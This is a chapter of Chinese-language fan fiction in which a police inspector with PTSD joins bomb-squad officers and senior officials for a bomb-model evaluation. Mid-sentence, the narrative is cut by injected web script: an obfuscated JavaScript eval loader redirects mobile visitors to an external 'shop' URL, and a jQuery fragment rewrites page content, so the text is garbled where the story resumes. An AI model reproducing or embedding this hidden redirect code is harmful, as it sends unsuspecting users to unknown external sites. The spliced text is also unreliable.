最先反应过来的是高桥警部。

    他轻咳一声后转身,几乎是有些僵硬又严厉的吓止身后年轻的警官:“胡说什么呢,你是忙晕头了。”

    随即又回头看向不远处的半长发青年:“您就是羽栗警部吧,抱歉我们来的有些迟了。”他从衣服兜中掏了掏,突然意识到此刻身上穿的是外勤的出动服,只能摸着脑袋露出一个有些尴尬的笑容:“过来的着急,忘记换衣服,身上没带没名片,真是失礼,我是爆|炸|物处理班的高桥。”

    对方的假意训斥实则找借口转移话题的手段并不高明,羽栗悠一的眼神闪了闪,却没有拆穿。

    Hagiwara。

    虽然萩原这个不算很大众的姓氏——结合对方的语境这个发音在这里应该指的是姓氏而不是其他——听起来似乎有些熟悉,但现在显然不是询问的时候。

    他收回目光,没有再看高桥警部身后那个仍然满脸惊异、欲言又止的年轻警官,按下准备取名片的动作:“无妨,我也是从刚医院直接过来,身上也没有带名片,还想让您别在意。”

    他脸上挂上礼貌的浅笑:“我是羽栗悠一,前些天我们见过的,高桥警部无需见外。”

    见他没有追究的客气模样,高桥警部松了口气:“那我就不和您客气了,真是幸会。”他微微侧了侧身,将后面的年轻警员露出来:“这是我们班的吉野。”

    “……啊您好羽栗警部,我是吉野。”

    “您好,我是组对部第四课的羽栗悠一,请多关照。”

    短暂的插曲似乎就这么过去。

    听到外间交谈声的北村系长从里间快步出来,大约是两个部门经常打交道的原因,她和高桥警部明显要熟悉的多,给刚过来的两人指了指旁边的空椅子后,转头看向羽栗悠一。

    “是可以开始了吗,北村系长?”羽栗悠一和她对视后道。

    前面的操作环节有这些人应该已经足够,他刚刚下来的时候,西园寺警视长那边也说很快就会过来。

    而且对方之前看过他画的拆弹图纸,倒不必一直在现场。

    “不,那个——”北村系长取出手机,面露一丝无奈:“我孫子部长今天也会过来,估计还有一会儿就到了。”

    “我孫子部长?”听到这个名字的羽栗悠一微愣,重复了一遍确认到:“他要亲自过来吗?”

    昨天,西园寺警视长给他分析情况的时候,也只是说他们的整个鉴定过程和谈话内容会被透露给这位我孫子部长,但并未提到过对方本人会亲自到场。

    “我也是临时收到了他的联络短讯。”北村系长点点头解释道。

    其实短讯中她们这新领导还说可以先开始,不用等他,左右几分钟就下来了。

    但——

    北村系长看了眼手表,拿着水壶将所有人的水杯续满后,对着众人笑了笑:“总之大家先坐下喝口茶吧,刚好我也去准备一下接下来要用到的模型和资料。”

    说罢,她便又再次离开。

    我孫子部长这次要过来的消息显然不止羽栗悠一一人感到惊讶,爆|处|班的两人也对这位突然决定来访的领导小声讨论了几句,羽栗悠一抿了抿唇,深吸口气后回身坐了下来。

    房间内恢复安静,只是很快,不远处那位姓吉野的年轻警员开始时不时的用自认为隐晦的目光瞥一眼羽栗悠一。

    但在真的和半长发青年对上视线后,他又飞快的转回头,动作大的让被注视一方的人似乎能听到脖颈处骨头的喀嚓声。

    这让原本心绪杂乱的羽栗悠一也在这时忍不住的生出一些好奇来。

    对方从进来后就一直控制不住似的在打量自己的面容,高桥警部虽然没有像吉野警官那般明显,但那隐晦的目光还是偶尔能被对视线极为敏感的羽栗悠一察觉到。

    能让两个爆处班的警察都露出相似的惊讶神情,那么他和让吉野警官不久前脱口而出的那个名字,应当是萩原警官,最起码在某些角度应当是有些相似的。

    他自认为不是大众脸,但相似到让人喊错了名字,倒还是件新奇事。

    如果放到平时,他大概会开口引导对方套套话吧。

    只是现在……

    羽栗悠一摩挲了几下散发着热意的杯外壁,却没有再送到嘴边,他甚至没有保持礼节性的继续和高桥警部说一些没有意义的场面话,而是在感到手心开始微湿后,将水杯轻放到一旁,视线再次落到了不远处的炸弹残骸上。

    刚刚的心慌和恐惧似乎还在这具身体上有所残留,但是和以往的感觉又有所不同。

    在目睹彻因为炸弹去世后,他就有了很严重的创伤性应激障碍,最开始的那段时间无法正常入眠,必须要借助药物才能休息上片刻,不至于在睡梦中因为爆炸的画面频频惊醒。

    直到他被父亲从房间里拉出来,在心理医生的强制介入后,他才又勉强将自己拼凑成正常人的模样。

    每一次PTSD的发作都给他的身心带来极大地消耗,不过这三年来他已经习惯和这种感觉在同一个身体内共处。

    但刚刚的状态还有所不同。

    为了不让ptsd影响到他的日常工作,羽栗悠一和他的心理医生专门测试过,一般来说,他的触发机制是在思维把江川彻和爆炸关联起来,后期泛化到只是回忆他们一起工作的那段时间也会产生应激状态。

    但是单独的炸弹本身是不会导致他出现任何症状,不然他也没办法在酒吧内拆除炸|弹。

    那刚刚又是怎么回事?

    他原本下意识以为是因为他知道了炸弹会二次爆炸,所以才会跟着有反应。

    只是现在重新想想,那时候的感觉更多是恐惧,是人类在面对杀伤力武器并且体会过其中的巨大威力后,从脑海中身体上不由自主生出的恐惧和排斥。

    羽栗悠一的心又往下沉了沉。

    他的拳头一寸一寸的攥紧,望着炸弹残骸的眼神更加幽深,指尖开始发抖。

    会是新的ptsd吗?

    因为直面了爆炸而产生的对于炸弹的创伤性应激障碍。

    “嘟嘟——”

    突然的敲门声让房间内各有心事的三人一起抬头朝着门口的方向看过去,似乎一直在留意外面的动静,几乎是同时,北村系长也抱着一摞文件从里面迎了出来。

    只见两个身形高大的男人走了进来。

    领头的男性没有着西装,一身藏蓝色制式警服和肩章上的金色警徽给在场的众人透露出他的身份。

    三枚金色五瓣樱花,无中心红球,这是警视监的代表。

    我孫子部长到了。

    羽栗悠一随着其他两人一同站了起来,往过走的同时,他一边不动声色的打量着门口的领头人。

    这是他第一次见这位东京警视厅刑事部的一把手,对方身材高大,长相硬朗端正,高挺的鼻梁上戴了一副半黑框眼镜,鬓角有明显的白发,但都被打里的一丝不苟。

    原本不怒自威的长相因为此刻唇角上扬的弧度而瞧起来没那么有压迫力,只是镜片后的眼神在不经意和其对视上后,仍会有种被洞察一切的心惊感。

    “部长。”北村系长将资料放下后率先走上前去,而在看到我孫子部长身后跟着的人时,她的声音变得有些惊讶:“西园寺警视

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582149|203885||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    长,您也一道过来了。”

    “我们路上碰到了,一合计目的地一样,就一起下来了。”一旁的我孫子部长笑道。

    和我孫子部长不同,西园寺警视长的脸上还保持着严肃的神色,他对着北村系长点了点头,随即扫视了房间一圈,眼神没有在羽栗悠一身上过多停留。

    房间内的氛围到底因为领导们的到来而显得有几分凝滞,作为其中警衔最低的吉野更是恨不得把自己缩到比他还稍矮上一些的高桥警部身后。

    对于偏一线的基层警员来说,比他高了足有6级的刑事部部长是不得了的大领导。

    我孫子部长大概也察觉到吉野的拘谨和众人的不自在,他没有着急说正事,而是先笑着和爆处班的高桥警部聊了两句。

    “这就是负责调试检查今天炸弹模型的吉野君吗,多大了?哦,才26岁,那可真是年轻有为,说起来我们SIT前段时间还和我抱怨缺爆|炸方面的专业人才呢。”

    “您说笑了,当时松田都我是咬着牙放走的,前段时间已经被调到您手底下了,吉野这小子现在可是我们爆|处|班为数不多能挑大梁的独苗,刑事部人才济济,我们部长前段时间还念叨,您可不能再光盯着我们警备部。”

    “哈哈哈,松田君早该来刑事部了,昨天我还听他现在的上司夸他,他可是这次破案的审讯主力。”

    “那也是您敢让他直接上去放手干才行。”

    围绕着松田阵平的对话一来一往了几番,待这几句闲话让所有人放松下来后,北村系长才适时插入,引着所有人往房间内的另一道门走去。

    北村系长:“咱们今天的鉴定在小会议室进行,我把要用的东西都提前准备好了,随时可以开始。”她推门进来后,拉开位于主位的椅子:“部长您看要坐这儿吗?待会的投影看的会清晰一些。”

    走在最前面的我孫子部长摆了摆手:“没事,你按原定的流程来就行,专业的事情专业的人来,我和西园寺也就是过来旁观,权当做个见证。”

    跟在后面的羽栗悠一除了最开始介绍自己后就一直没怎么说话,在进入这间小会议室后,他的目光就停留在摆在桌子中央的那枚炸弹模型上,走到其跟前站定,一切看的更加清晰。

    北村系长没有夸张,能看出来这个模型科搜研确实下了大功夫,完全根据图片1:1的复制了他之前在酒吧拆除的那个炸弹,甚至外壳的颜色都调配的相差无几。

    滴、滴、滴……

    炸|弹模型静置在桌面上,显示屏依旧漆黑,但耳朵似乎能听到倒计时不断跳动的声音。

    时间在逐渐减少,然后应该是什么?

    应该是爆炸。

    彻当时面对的也是这样的场景吗?

    要慢上些的西园寺警视长注意到他有些异常的状态,脚步一顿,和羽栗悠一并肩。

    “羽栗,准备的怎么样?”

    熟悉的声音让羽栗悠一抬起头,注视着那边角带着岁月细纹眼睛中隐含的担忧,他僵住了片刻后坚定的道:“……参事官,没有问题。”

    他没有问题。

    现在不能有问题。

    最后也不会有问题。

    想要颤动的手指在这一刻神奇的稳定了下来,羽栗悠一深吸一口气,看向主位的我孫子部长:“没有问题,我孫子部长,随时可以开始。”

    双肘撑在桌面上,十指交叉相扣,从刚刚起就一直注视着这里的我孫子部长敛下眉宇间的笑意,这一刻他恢复成了原本应有的模样。

    我孫子部长微微仰起头,声音平淡开口道。

    “那就开始吧,羽栗警部。”